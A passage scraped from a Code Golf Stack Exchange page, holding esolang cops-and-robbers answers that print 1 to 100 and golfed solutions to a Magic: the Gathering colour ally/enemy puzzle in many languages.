main;;<o,,,,,,,,,,,,,,,,,,,,,,,,,,,)))))))))0;v ``` Outputs bytes from 1 to 100. I'm not *entirely* sure this satisfies the requirements for a language in the OP, but it sort of technically does. **Post-reveal clarification:** The Z80 chip has a [Wikipedia article](https://en.wikipedia.org/wiki/Zilog_Z80), its machine language is certainly a programming language, and an interpreter for the Z80 machine used is freely available on [golf.shinh.org](http://golf.shinh.org/version.rb); Z80 is often used for code golf there. The machine is very simple: 64k of memory + all registers are zeroed; code is placed at `$0000` and execution starts there. A `putchar` routine is executed when the PC reaches `$8000`. (There is also `getchar`, but it's irrelevant here.) The iffy part, of course, is that this "putchar at `$8000`" behavior isn't inherent to the chip and isn't itself defined by Wikipedia/Esolangs/Rosetta. You *could* see it as an "interpreter quirk"... but that's maybe a stretch. I'll leave the decision to the OP. Here is the program disassembly: ``` ld l,l ; Red herring. ('main') ld h,c ; Well, the whole program being printable ASCII is a red herring. ld l,c ; Arguably, clearing H is the "right thing to do", but it turns ld l,(hl) ; out not to have been necessary. dec sp ; "Push a zero" (make SP point at $fffe, which is zeroed out) dec sp inc a ; Increment A, the argument to putchar. ld l,a ; Compute (A + 27) << 9. inc l (27 times) add hl,hl (9 times) jr nc, $0069 ; Halt if carry is set. This occurs when A = 101. halt ; Otherwise, run from $0069 to $7fff (all NOP). ; Finally, putchar(A) and return to $0000 (which we pushed). ``` [Try it online](http://golf.shinh.org/check.rb): click "use form", pick z80 from the dropdown menu, paste in my code, and Submit! [![submitting my code](https://i.stack.imgur.com/Jbp5A.png)](https://i.stack.imgur.com/Jbp5A.png) I expected this to get cracked fairly quickly, but now I feel a little bad. I had fun writing a Z80 program constrained to printable ASCII code, though. **EDIT 2018-02-23**: I described the Z80golf machine on [esolangs](https://esolangs.org/wiki/Z80golf). [Answer] # [pb](http://esolangs.org/wiki/pb), 21 bytes, [cracked](https://codegolf.stackexchange.com/a/155256/41024) by [MD XF](https://codegolf.stackexchange.com/users/61563/md-xf) ``` w[T!100]{t[T+1]b[T]>} ``` Output in raw chars `0x01`-`0x64`. [Answer] # [Festival Speech Synthesis System](https://en.wikipedia.org/wiki/Festival_Speech_Synthesis_System), 1708 bytes, [cracked](https://codegolf.stackexchange.com/a/155504/66323) by [fergusq](https://codegolf.stackexchange.com/users/66323/fergusq) ``` ;#.#;‏⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠‌​⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠‌​⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠‌​⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠‌​⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠‌​⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠‌​⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠‌​⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠‌​⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠‌​ ;echo {1..99}; (SayText "") (SayText "hs sh (but which?) fl") (SayText "link herring obscure, blame2 premier") (SayText "don't forget to look up") (define(f x)(cond((> x 100)())((print x))((f(+ x 1))))) (f 1) ``` [Hexdump (optional, if you don't like copy-pasting)](https://pastebin.com/mvnzc1z6) --- The concept behind this is that there are three languages going on here: Headsecks (`hs`), zsh (`sh`), and the actual Festival Lisp (`fl`). The intent was that running the program in one would help gain insight into the others: ## The herring (zsh) `bash` doesn't like having the semicolons by themselves at the top (hence "but which?"), however `zsh` will happily take them and skip down to the `echo {1..99};` line, which will expand into 1 through 100... except for 100, of course. This was supposed to be the most obvious one, and the intent was to tip off the robber that the fourth line hints are referring to languages. ## The link (Headsecks) This seems to the thing that most people started on instead: the unprintable blob ([`blame2`](https://chat.stackexchange.com/rooms/11540/charcoal-hq)) after the first line (`premier`). This is a (completely ungolfed) Headsecks program that outputs this: ``` :26726392 ``` Go to that message in the transcript, and [you get this delightful conversation](https://chat.stackexchange.com/transcript/message/26726392). But if you `look up`, you get [this](https://chat.stackexchange.com/transcript/message/26726365#26726365). # The obscure (Festival) Festival "Lisp" is really just an embedded Scheme interpreter; if you took the numerous `SayText`s out, this program would run correctly in almost any flavor of Lisp (semicolons are comments). As it is, it requires that `SayText` be already defined... which it is in Festival. You'll hear it rattle out the hints if you have an audio device, after which it will then correctly print out 1 to 100. [Answer] # [2B](http://esolangs.org/wiki/2B), 38 bytes, safe ``` +9+1::{-1^1+9+1v1**}^1: :{-1v1+1)^1* * ``` Output is raw chars. [Answer] # [Glass](https://esolangs.org/wiki/Glass), 212 bytes, safe ``` { (M) [ m v A ! o O ! < 0 > m < 1 > =/m< 1> v a. ?0o (on) . ? " , " o o. ?0<100>v (ne).?m 1= , \ \^]} ``` > > > Glass is a stack-based, object oriented esolang that was previously featured on Esolangs. I intended to make this look like a 2D language. > > If we strip out extraneous whitespace in this submission, we get this: > > > ``` > {(M)[mvA!oO!<0>m<1>=/m<1>va.?0o(on).?" > , > "oo.?0<100>v(ne).?m1=,\^]} > ``` > > > Glass begins executing from the `m` (`main`) method of the class `M` (`Main`). Because of Glass's syntax, this would be written as `{M[m 'Method body']}`. In order to avoid this being too recognizable as Glass, I wrapped the `M` in parentheses (which are mandatory for multi-character names). > > > [Answer] # [SuperCollider](https://en.wikipedia.org/wiki/SuperCollider), 22 bytes, [cracked by Dennis](https://codegolf.stackexchange.com/a/155178/21034) ``` for(1,100,"% "postf:_) ``` Outputs decimal integers, space separated. The output has a trailing space but no trailing newline. --- Explanation: SuperCollider is a domain-specific language for sound synthesis and music composition, so I thought it might obscure enough in this community to escape being cracked. I used to golf in it regularly though, in order to post [music on Twitter](https://twitter.com/headcube). (The link has audio recordings as well as the 140-character code that produced them.) In addition, I used a couple of tricks to make the code not look like typical SuperCollider. A more paradigmatic approach to this task would be ``` 99.do { arg i; (i+1).postln; }; ``` which prints the numbers newline-separated. ]
[Question] [ In the card game [Magic: the Gathering](https://en.wikipedia.org/wiki/Magic:_The_Gathering) there are five different colours, which represent loose affiliations of cards, White (`W`), Blue (`U`), Black (`B`), Red (`R`) and Green (`G`). These are often arranged in a pentagon as follows: ``` W G U R B ``` Both in the lore of MtG as well as in many card mechanics, adjacent colours in this pentagon are usually considered allies, and non-adjacent (sort of opposite) colours are considered enemies. In this challenge, you'll be given two colours and should determine their relationship. ## The Challenge You're given any two distinct characters from the set `BGRUW`. You may take these as a two-character string, a string with a delimiter between the characters, two separate character values, two singleton strings, two integers representing their code points, or a list or set type containing two characters/strings/integers. Your output should be one of two distinct and consistent values of your choice, one which indicates that the two colours are allies and one which indicates that they are enemies. One of those two values may be no output at all. You may write a [program or a function](http://meta.codegolf.stackexchange.com/q/2419) and use any of the our [standard methods](http://meta.codegolf.stackexchange.com/q/2447) of receiving input and providing output. You may use any [programming language](http://meta.codegolf.stackexchange.com/q/2028), but note that [these loopholes](http://meta.codegolf.stackexchange.com/questions/1061/loopholes-that-are-forbidden-by-default) are forbidden by default. This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), so the shortest valid answer – measured in *bytes* – wins. ## Test Cases There are only 20 possible inputs, so I'll list them all. **Friends:** ``` WU UB BR RG GW UW BU RB GR WG ``` **Foes:** ``` WB UR BG RW GU BW RU GB WR UG ``` [Answer] # JavaScript (ES6), ~~26 23 17 15~~ 14 bytes Takes input as two ASCII codes in currying syntax `(a)(b)`. Returns `4` for friends or `0` for foes. ``` a=>b=>a*b/.6&4 ``` [Try it online!](https://tio.run/##pY4xC8IwEIX3/opMJpEaFcRBacEIzR4IGdQhbVOt1KY0xb8fc5N29obH497j7nuat/HV2A7Tqne1DU0WTJaXWW6W5ZrtF7tQud67zrLO3Qkuxtb2tT9gekwuCGuFU6x4FC6jSBFFaNiBcEglpAJSLTC6sZcZiEdZjn7v@hQ1xLPqYcZzpDhNZEPpfLGlcZIZzLUvnP2ywCMFjzhgSCAQQMDBSXACKhoq6n@W8AE "JavaScript (Node.js) – Try It Online") ### How? *NB: only the integer quotient of the division by 0.6 is shown below.* ``` Combo | a | b | a*b | / 0.6 | AND 4 ------+----+----+------+-------+------ WU | 87 | 85 | 7395 | 12325 | 4 UB | 85 | 66 | 5610 | 9350 | 4 BR | 66 | 82 | 5412 | 9020 | 4 RG | 82 | 71 | 5822 | 9703 | 4 GW | 71 | 87 | 6177 | 10295 | 4 UW | 85 | 87 | 7395 | 12325 | 4 BU | 66 | 85 | 5610 | 9350 | 4 RB | 82 | 66 | 5412 | 9020 | 4 GR | 71 | 82 | 5822 | 9703 | 4 WG | 87 | 71 | 6177 | 10295 | 4 ------+----+----+------+-------+------ WB | 87 | 66 | 5742 | 9570 | 0 UR | 85 | 82 | 6970 | 11616 | 0 BG | 66 | 71 | 4686 | 7810 | 0 RW | 82 | 87 | 7134 | 11890 | 0 GU | 71 | 85 | 6035 | 10058 | 0 BW | 66 | 87 | 5742 | 9570 | 0 RU | 82 | 85 | 6970 | 11616 | 0 GB | 71 | 66 | 4686 | 7810 | 0 WR | 87 | 82 | 7134 | 11890 | 0 UG | 85 | 71 | 6035 | 10058 | 0 ``` # Previous approach, 15 bytes Takes input as two ASCII codes in currying syntax `(a)(b)`. Returns `0` for friends or `1` for foes. ``` a=>b=>a*b%103%2 ``` [Try it online!](https://tio.run/##pY4xD4IwEIV3fkUX0mKQgG6aklgTujdpGNShQFEMtoQS/37tTcrsDS8v917uvqd6K9fOw7Rsje2076lXtGxoqTZNXOT7eOdba5wddTbaO8HVPGjTuQNOjtEF4VriFEsWhIkgggfhNexAGKQCUg5pzTG6ZS81EYdoiX7vuhT1xGXtQ83ngHFaSJ4k60WRhIlWMFdTWf1lgUcSHjHAEEDAgYCBE@A4VGqoyP9Z/Ac "JavaScript (Node.js) – Try It Online") ### How? ``` Combo | a | b | a*b | MOD 103 | MOD 2 ------+----+----+------+---------+------ WU | 87 | 85 | 7395 | 82 | 0 UB | 85 | 66 | 5610 | 48 | 0 BR | 66 | 82 | 5412 | 56 | 0 RG | 82 | 71 | 5822 | 54 | 0 GW | 71 | 87 | 6177 | 100 | 0 UW | 85 | 87 | 7395 | 82 | 0 BU | 66 | 85 | 5610 | 48 | 0 RB | 82 | 66 | 5412 | 56 | 0 GR | 71 | 82 | 5822 | 54 | 0 WG | 87 | 71 | 6177 | 100 | 0 ------+----+----+------+---------+------ WB | 87 | 66 | 5742 | 77 | 1 UR | 85 | 82 | 6970 | 69 | 1 BG | 66 | 71 | 4686 | 51 | 1 RW | 82 | 87 | 7134 | 27 | 1 GU | 71 | 85 | 6035 | 61 | 1 BW | 66 | 87 | 5742 | 77 | 1 RU | 82 | 85 | 6970 | 69 | 1 GB | 71 | 66 | 4686 | 51 | 1 WR | 87 | 82 | 7134 | 27 | 1 UG | 85 | 71 | 6035 | 61 | 1 ``` # Initial approach, 23 bytes Takes input as a 2-character string. Returns `true` for friends or `false` for foes. ``` s=>parseInt(s,35)%9%7<3 ``` [Try it online!](https://tio.run/##jY09C8IwFEX3/oosJQnULkXEj3TI0OAaCBnUIbSpVGpS@op/P/ZN6uZyeLx7uefhXg7aeZiWTYidT71IIOrJzeDPYWFQVFue7/PdqUptDBBHX47xzmgzDz50cKD8mF0ItYYW1MgVUq/QaoWy@ENITDWmClOrKLmVTzcxIKIm37tQkJ4B5zz7sV1DE/1HhksGlyR6NCoUKiReGi@FFYsV84csvQE "JavaScript (Node.js) – Try It Online") [Answer] # [Python 2](https://docs.python.org/2/), 19 bytes ``` "WUBRGWGRBUW".count ``` [Try it online!](https://tio.run/nexus/python2#hcwxC4JwEEDx3U/xcFEXqTVw6JbbD45bWsKUJDHRf@C3t9raevPj1zeXPQ8X01ATj7xun68p7f1zYWOYKMJxQQxTNPBAHBPUCC3qdR6HVFanjE/Xde2WRF9uFU3DMfthBDdEsUAdCcxRIQz/wxyyeRmmRHEeR9p71z5W5u9zq4v9DQ "Python 2 – TIO Nexus") An anonymous function: returns `1` for friends and `0` for foes. [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 6 bytes ``` ạg105Ị ``` Takes two code points as argument. Yields **1** for friends, **0** for foes. [Try it online!](https://tio.run/nexus/jelly#DcWhDYBADEBRzxR/A0CwQE0FgqRJ0zABeyDZAoVBEQQBySTHIscl/@XndK9T23TpWXJ6znQd37wP71aXlfpizDkcF8QwRQMPxDFBjdAqBDdEsUAdCcxRIQzXHw "Jelly – TIO Nexus") ### Background Let **n** and **m** be the code points of two input characters. By taking **|n - m|**, we need to concern ourselves only with all 2-combinations of characters. The following table shows all 2-combinations of characters the the corresponding absolute differences. ``` WU 2 UB 19 BR 16 RG 11 GW 16 WB 21 UR 3 BG 5 RW 5 GU 14 ``` All *foe* combinations are divisible by **3**, **5**, or **7**, but none of the *friend* combinations this, so friends are exactly those that are co-prime with **3 × 5 × 7 = 105**. ### How it works ``` ạg105Ị Main link. Left argument: n (code point). Right argument: m (code point) ạ Yield the absolute difference of n and m. g105 Compute the GCD of the result and 105. Ị Insignificant; return 1 if the GCD is 1, 0 if not. ``` [Answer] # Befunge-98, ~~13~~ 12 bytes ``` ~~-9%5%3%!.@ ``` [Try it online!](https://tio.run/nexus/befunge-98#@19Xp2upaqpqrKqo5/D/f6gTAA) Prints `0` for friends and `1` for foes This uses the difference between the ASCII values of the letters. If we take the `(((ASCII difference % 9) % 5) % 3)`, the values for the foes will be 0. Then, we not the value and print it. Thanks to [@Martin](http://chat.stackexchange.com/transcript/message/36012839#36012839) for the golf [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), ~~8~~ 7 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page) Piggybacks off of Mistah Figgins's [fabulous Befunge answer](https://codegolf.stackexchange.com/a/112785/53748)! ``` Iị390B¤ ``` **[Try it online!](https://tio.run/nexus/jelly#@@/5cHe3saWB06El/x/u7jm653D7o6Y13kAc@f9/dLSFuY6ChWmsjkK0hamOgpkZiGVmBhQzAosZ6SiYG4JY5oZAMXOYOggLrM4Upg6iF6wOotccphfEgsiC9RrB9EJljWDmgfWawk02h8uawmShppjD7TAFmxILAA)** ### How? As Mistah Figgins noted the decision may be made by taking the absolute difference between the ASCII values mod 9 mod 5 mod 3 - 0s are then friends and 1s and 2s are enemies. If we instead take the (plain) difference mod 9 we find that friends are 1s, 2s, 7s, and 8s while enemies are 3s, 4s, 5s, and 6s. The code takes the difference with `I` and then indexes into the length 9 list `[1,1,0,0,0,0,1,1,0]`, which is 390 in binary, `390B`. The indexing is both modular (so effectively the indexing performs the mod 9 for free) and 1-based (hence the 1 on the very left). [Answer] # C++ template metaprogramming, 85 bytes ``` template<int A,int B,int=(A-B)%9%5%3>struct f;template<int A,int B>struct f<A,B,0>{}; ``` less golfed: ``` template<int A, int B,int Unused=(((A-B)%9)%5)%3> struct foe; template<int A, int B> struct foe<A,B,0>{}; ``` As this is a metaprogramming language, a construct compiling or not is one possible output. An instance of `f<'W','B'>` compiles if and only if `'W'` and `'B'` are foes. Math based off [Befunge answer](https://codegolf.stackexchange.com/a/112785/23424). [Live example](http://coliru.stacked-crooked.com/a/2a8d3932e8bbe4be). As C++ template metaprogramming is one of the worst golfing languages, anyone who is worse than this should feel shame. ;) [Answer] ## Ruby, ~~22~~ 19 bytes ``` ->x,y{390[(x-y)%9]} ``` Input: ASCII code of the 2 characters. Output: 1 for allies, 0 for enemies. ### How it works: Get the difference between the 2 numbers modulo 9, use a bitmask (390 is binary 110000110) and get a single bit using the `[]` operator. [Answer] ## [CJam](https://sourceforge.net/p/cjam), 8 bytes ``` {*51%9>} ``` An unnamed block that expects two character codes on top of the stack and replaces them with `0` (friends) or `1` (foes). [Try it online!](https://tio.run/nexus/cjam#FYorDoAwEEQ9p6ipwRAEogjEmnGIbTZ7AgQOsE179dIxL/N575mvL8ey362XeVtjOmpvT126WwjBZEB0QDEA50YIX@ULvo7JWYxFqCot0BImZQIVp2L4AQ "CJam – TIO Nexus") ### Explanation Well, we've seen a lot of fun arithmetic solutions now, so I guess it's fine if I present my own one now. The closest to this I've seen so far is [Steadybox's C solution](https://codegolf.stackexchange.com/a/112788/8478). This one was found with the help of a GolfScript brute forcer I wrote some time ago for anarchy golf. Here is what this one does to the various inputs (ignoring the order, because the initial multiplication is commutative): ``` xy x y x*y %51 >9 WU 87 85 7395 0 0 UB 85 66 5610 0 0 BR 66 82 5412 6 0 RG 82 71 5822 8 0 GW 71 87 6177 6 0 WB 87 66 5742 30 1 UR 85 82 6970 34 1 BG 66 71 4686 45 1 RW 82 87 7134 45 1 GU 71 85 6035 17 1 ``` We can see how taking the product of the inputs modulo 51 nicely separates the inputs into large and small results, and we can use any of the values in between to distinguish between the two cases. [Answer] # [Röda](https://github.com/fergusq/roda), ~~30~~ ~~22~~ 21 bytes *Bytes saved thanks to @fergusq by using `_` to take the values on the stream as input* ``` {[_ in"WUBRGWGRBUW"]} ``` [Try it online!](https://tio.run/nexus/roda#JY0xDsJADAT7vGLlB4QX0Fzj3tLJRRQhpBBxBRcIUIW8PfGGZu3x7Om2cekuKFU8J1NXS9mlX7fHtVQsDfDCGSEB5BSRLMI0Qp03RqI1WqV1WidmYiIae8pe4mbclBVnJaucJKYc//0wTjMKhikQ6ErbCqQ/4Pl930NF5Y9zqR/hs2Gqt2bddg "Röda – TIO Nexus") The function is run like `push "WU" | f` after assigning a name to the function ### Explanation ``` { /* Declares an anonymous function */ [ ] /* Push */ _ in /* the boolean value of the value on the stream is in */ "WUBRGWGRBUW" /* this string */ } ``` [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), 10 bytes Returns **0** for friend and **1** for foe. ``` ‘Û‹BWR‘ûIå ``` [Try it online!](https://tio.run/nexus/05ab1e#@/@oYcbh2Y8adjqFB4GYuz0PL/3/P9T9a16@bnJickYqAA) or as a [Test suite](https://tio.run/nexus/05ab1e#FcaxDcJAEETRVr6OlAoIJ9l8pNV0guTMZSARuwhE4OA6cSOHeNEbaVrIuKjQQY1FmRQRbVQ4VKPgpkRM17g917W/5vvaP4r//W7zWNuY54N5jvv6AQ) **Explanation** ``` ‘Û‹BWR‘ # push the string "RUGBWR" û # palendromize (append the reverse minus the first char) Iå # check if input is in this string ``` [Answer] # C, ~~33~~ ~~32~~ ~~29~~ ~~24~~ 22 bytes ``` #define f(k,l)k*l%51<9 ``` Returns 1 if friends, 0 if foes. [Answer] # Vim, ~~22~~ 21 bytes ``` CWUBRGWGRBUW<esc>:g/<c-r>"/d<cr> ``` Input: a single line containing the two characters. Output: empty buffer if friends, buffer containing `WUBRGWGRBUW` if enemies. ## Explanation ``` C # [C]hange line (deletes line into " register and enters insert mode) WUBRGWGRBUW<esc> # insert this text and exit insert mode :g/ /d<cr> # delete all lines containing... <c-r>" # ... the previously deleted input ``` [Answer] # [Japt](https://github.com/ETHproductions/japt), 6 bytes Inspired by @Martin Ender's [solution](https://codegolf.stackexchange.com/a/112814/61613). Takes an array of two char codes as input. ``` ×%51<9 ``` [Try it online!](https://tio.run/nexus/japt#@394uqqpoY3l///RFuY6FqaxAA) | [Test Suite](https://tio.run/nexus/japt#LYy7DYAwDESnoXMTS/4gsUaqKCMwAYMwEIOZ2Jfq5HvvfPenx/ce0q4zYgw3cpk0XEh1pSo5581kbaU1cgOvTC7g5Scv3@CvrD59ho@esU9f9h/bvaDHzvY/yd38AQ) Returns `true` for friends, `false` for foes. **14-byte solution:** Takes two char codes as input ``` nV a /3%3 f ¦1 ``` [Try it online!](https://tio.run/nexus/japt#@58XppCooG@saqyQpnBomeH//xbmOhamAA) | [Test Suite](https://tio.run/nexus/japt#LYwxDoAgDEWvwuLWxAApbWI8BiwNg4ubXsD7eBAvhpQy/fS/93vlR3Kpe95avos73BqX6E73vb41ESZgrCCMkFLPlICD3gHI9yQPTMZHKkfjw1c@fDK/5@jVD@ZbH2yvPs4/NHu03nY0/6Hu6g8) ### Explanation: ``` nV a /3%3 f ¦1 nV a // Absolute value of: First input (implicit) - Second input /3%3 f // Divide by 3, mod 3, then floor the result ¦1 // Return true if the result does not equals 1, otherwise return false ``` **12-byte solution:** ``` "WUBRGW"ê èU ``` [Try it online!](https://tio.run/nexus/japt#@68UHuoU5B6udHiVwuEVof//K4U6KQEA) | [Test Suite](https://tio.run/nexus/japt#FYq7DYBQDMRWQalhiTTpT4pSIEZgAhZCrPEGC3Fj3cd952OVrihb37be7D5nsN3SB66BYjDCbMB5xRu8xVvUpDpVeIHnJJECpVAy7Dr0Aw) ### Explanation: ``` "WUBRGW"ê èU "WUBRGW"ê // "WUBRGW" mirrored = "WUBRGWGRBUW" èU // Returns the number of times U (input) is found ``` Returns `1` for friends and `0` for foes. **9-byte solution**: Inspired by @Arnauld's [solution](https://codegolf.stackexchange.com/a/112778/61613). ``` *V%24%B%2 ``` [Test Suite](https://tio.run/nexus/japt#LYy7DcAwCESncRPRGIWPFKXJDnaDPEImyPCOAVcn7r1jvu2z1sfdrnb0gmd5Cs5ppgJKA0wJmFcyg6LfCFJXSgWV5JHOKXn4zsOX9FdG7z6mnz3m3n3af2T3lH3uZP8j340f) Returns `1` for friends, `0` for foes. **11-byte solution:** inspired by @Mistah Figgins's [solution](https://codegolf.stackexchange.com/a/112785/61613). ``` nV %9%5%3¦0 ``` [Test Suite](https://tio.run/nexus/japt#LYy7DYAwDESnSYHkggT5gxBjOE2UEWAB9mEQFgtxnOrke@986VM011OPpndewh4wbN@7tlaKMAhWKIJA1JMIJNmdgGNPjiDsfKRxdD5848Nn93uO3vzkvvfJ9@bj/MOzR@99x/Mf2q7@) [Answer] # [Brain-Flak](https://github.com/DJMcMayhem/Brain-Flak), ~~155, 147~~, 135 bytes ``` (([(({}[{}]))<>])){({}())<>}(((([])[][][])[]())()()())<>{}<>{({}<><(({}))>)({}[{}]<(())>){((<{}{}>))}{}{{}({}<({}())>)(<()>)}{}<>}<>{} ``` [Try it online!](https://tio.run/nexus/brain-flak#LUzBDcBACFoHH93A3BZNH@YenYMwu8W2GlFUaKAAqqgdkctAU8wsOGpH7Uk3b/Gmj5QLgzn6iBW/jfkwAklRK8JIe/r5s/ZrwqiRj4@6r7OP@wE "Brain-Flak – TIO Nexus") This is 134 bytes of code plus one byte penalty for the `-a` flag which enables ASCII input. This works by finding the absolute difference between the inputs, and checking if they equal 2, 11, 16, or 19. If it does, the input is a friend, and it prints a 1. If it's not, it prints nothing. Since *nothing* in brain-flak corresponds to an empty stack, which is falsy, no output is a falsy value. ([meta](https://codegolf.meta.stackexchange.com/q/10249/31716)) One thing I particularly like about this answer, is that the "absolute difference" snippet (that is, `(([(({}[{}]))<>])){({}())<>}{}{}<>{}`) is not stack clean, but it can still be used in this answer since we don't care which stack we end up on before encoding the possible differences. On a later edit, I took advantage of this even more by abusing the leftovers on the stack that *doesn't* end up with the absolute difference on it. On the first revision, I popped both of them off to keep it slightly more sane. *Not* doing this gives two major golfs: 1. Obviously, it removes the code to pop them: `{}{}`, but more importantly: 2. It allows us to compress the `2, 11, 16, 19` sequence from ``` (((((()()))[][][](){})[][]())[]) ``` to ``` (((([])[][][])[]())()()()) ``` Fortunately, there is no extra code needed to handle these leftovers later, so they are just left on the alternate stack. Since brain-flak is notoriously difficult to understand, here is a readable/commented version: ``` #Push the absolute difference of the two input characters. It is unknown which stack the result will end on (([(({}[{}]))<>])){({}())<>} #Push 2, 11, 16, 19, while abusing the values left on the stack from our "Absolute value" calculation (((([])[][][])[]())()()()) #Pop a zero from the other stack and toggle back <>{}<> #While True { #Move top over and duplicate the other top ({}<><(({}))>) #Equals? ({}[{}]<(())>){((<{}{}>))}{} #If so: { #Increment the number under the stack {}({}<({}())>) #Push a zero (<()>) } #Pop the zero {} #Go back to the other stack <> #Endwhile } #Toggle back <> #Pop a zero {} ``` [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 14 bytes ``` “WUBRG”wЀIAÆP ``` Returns `1` for enemies and `0` for friends. Test suite at **[Try it online!](https://tio.run/nexus/jelly#FYqxCYBQDETHSeMSpgliI4EQRJzDViy0dQDdwBHsPi7yF4m5Io@7vIu6Xm6sUtd7KWfdnq4t@xDfW44sfd4YMZEbNWScYE2oJMTxAxhWYQXWYR3VUBlVsRPsGEmRBBPHxITmHw "Jelly – TIO Nexus")** ### How? ``` “WUBRG”wЀIAÆP - Main link e.g. WG “WUBRG” - ['W','U','B','R','G'] wЀ - first index of sublist mapped over the input [1,5] I - incremental differences -4 A - absolute value 4 ÆP - is prime? 0 ``` [Answer] # [CJam](https://sourceforge.net/p/cjam), ~~16~~ ~~12~~ ~~11~~ 10 bytes *Golfed 4 bytes by using [Mistah Figgins's algorithm](https://codegolf.stackexchange.com/a/112785/53880)* *Saved 1 byte thanks to Lynn* ``` l:m9%5%3%! ``` Outputs `1` for enemy colours, `0` for ally colours. [Try it online!](https://tio.run/nexus/cjam#@59jlWupaqpqrKr4/394KAA) (Or verify [all test cases](https://tio.run/nexus/cjam#i67@n2OVa6lqqmqsqvi/1shAK7bgf3goV6gTl1MQV5A7l3s4VziQBLKBIkBxIBfIAIoA2UBBIBdIAtlAEaB4OAA "CJam – TIO Nexus")) **Explanation** ``` l e# Push a line of input as a string :m e# Reduce the string by subtraction (using the ASCII values) 9%5%3% e# Mod by 9, then by 5, then by 3. By doing this, enemy e# pairs go to 0, and allies go to 1, 2, -1, or -2. ! e# Boolean negation ``` [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), 7 bytes ``` $Æ105¿Ö ``` This is a port of [my Jelly answer](https://codegolf.stackexchange.com/a/112800/12012). Takes a list of code points as input. Prints **1** for friends, **0** for foes. [Try it online!](https://tio.run/nexus/bash#PY9BCsIwEEXX5hRD6TLYJjJJwCIo1K0HEJFSq3ZhU2w2vYBH8DqCPVidKdLNH@bxPsyURYANPIpbXUKWQX7Yj/HwUil@P8N7pFWIq39CqLpwLouugroBZ6VDcCiNAWOk0@C0tAqsks4yp2SOzMlhrrlFDiURdjQ7TDT77ODUshNBJmzaqYtkruHixaLtw903K0h8G5IUtzuV/8ey7edHMoiO8Xz0KRIX31TjDw "Bash – TIO Nexus") ### How it works ``` $ Push 1 and [n, m] (the input). Æ Reduce [n, m] by subtraction, pushing n - m. 105¿ Take the GCD of n - m and 105. Ö Test if 1 is divisible by the GCD (true iff the GCD is ±1). ``` [Answer] ## [Retina](https://github.com/m-ender/retina), 18 bytes ``` O`. BR|BU|GR|GW|UW ``` [Try it online!](https://tio.run/nexus/retina#DcixCQNBAAPBfPswOHIRShQaBELpF3K9nz3hvN5@7vf5oBz1OMc73b0r1X@J8ehQiXCYmWiQyXDRSLFYqH8 "Retina – TIO Nexus") Quite straight-forward: sorts the input and tries to match any of the sorted ally pairs against it. Unfortunately, I don't think that Retina's string-based nature allows for any of the more interesting approaches to be competitive. As a sneak peek for the next Retina version, I'm planning to add an option which swaps regex and target string (so the current string will be used as the regex and you give it a string to check), in which case this shorter solution will work (or something along those lines): ``` ?`WUBRGWGRBUW ``` [Answer] # [Java (OpenJDK 8)](http://openjdk.java.net/), ~~28~~ 23 bytes *-5 bytes thanks to fergusq* ``` "WUBRGWGRBUW"::contains ``` [Try it 